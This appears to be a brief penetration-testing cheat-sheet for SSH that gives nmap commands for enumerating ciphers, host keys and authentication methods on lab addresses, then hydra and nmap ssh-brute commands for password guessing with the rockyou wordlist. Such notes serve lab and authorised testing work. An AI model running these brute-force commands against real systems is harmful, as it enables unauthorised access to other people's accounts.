Enumeration
Cipher Algorithms supported:
1
nmap -p22 10.10.1.3 --script ssh2-enum-algos
Public key from ssh server:
1
nmap -p22 10.10.1.3 --script ssh-hostkey --script-args= ssh_hostkey=full
Review if a user has or not password:
1
nmap -p22 10.10.1.3 --script ssh-auth-methods --script-args="ssh.user=student"
Brute Force
1
2
hydra -l student -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh
nmap 10.10.10.10 -p 22 --script ssh-brute --script-args userdb=/path/to/users/file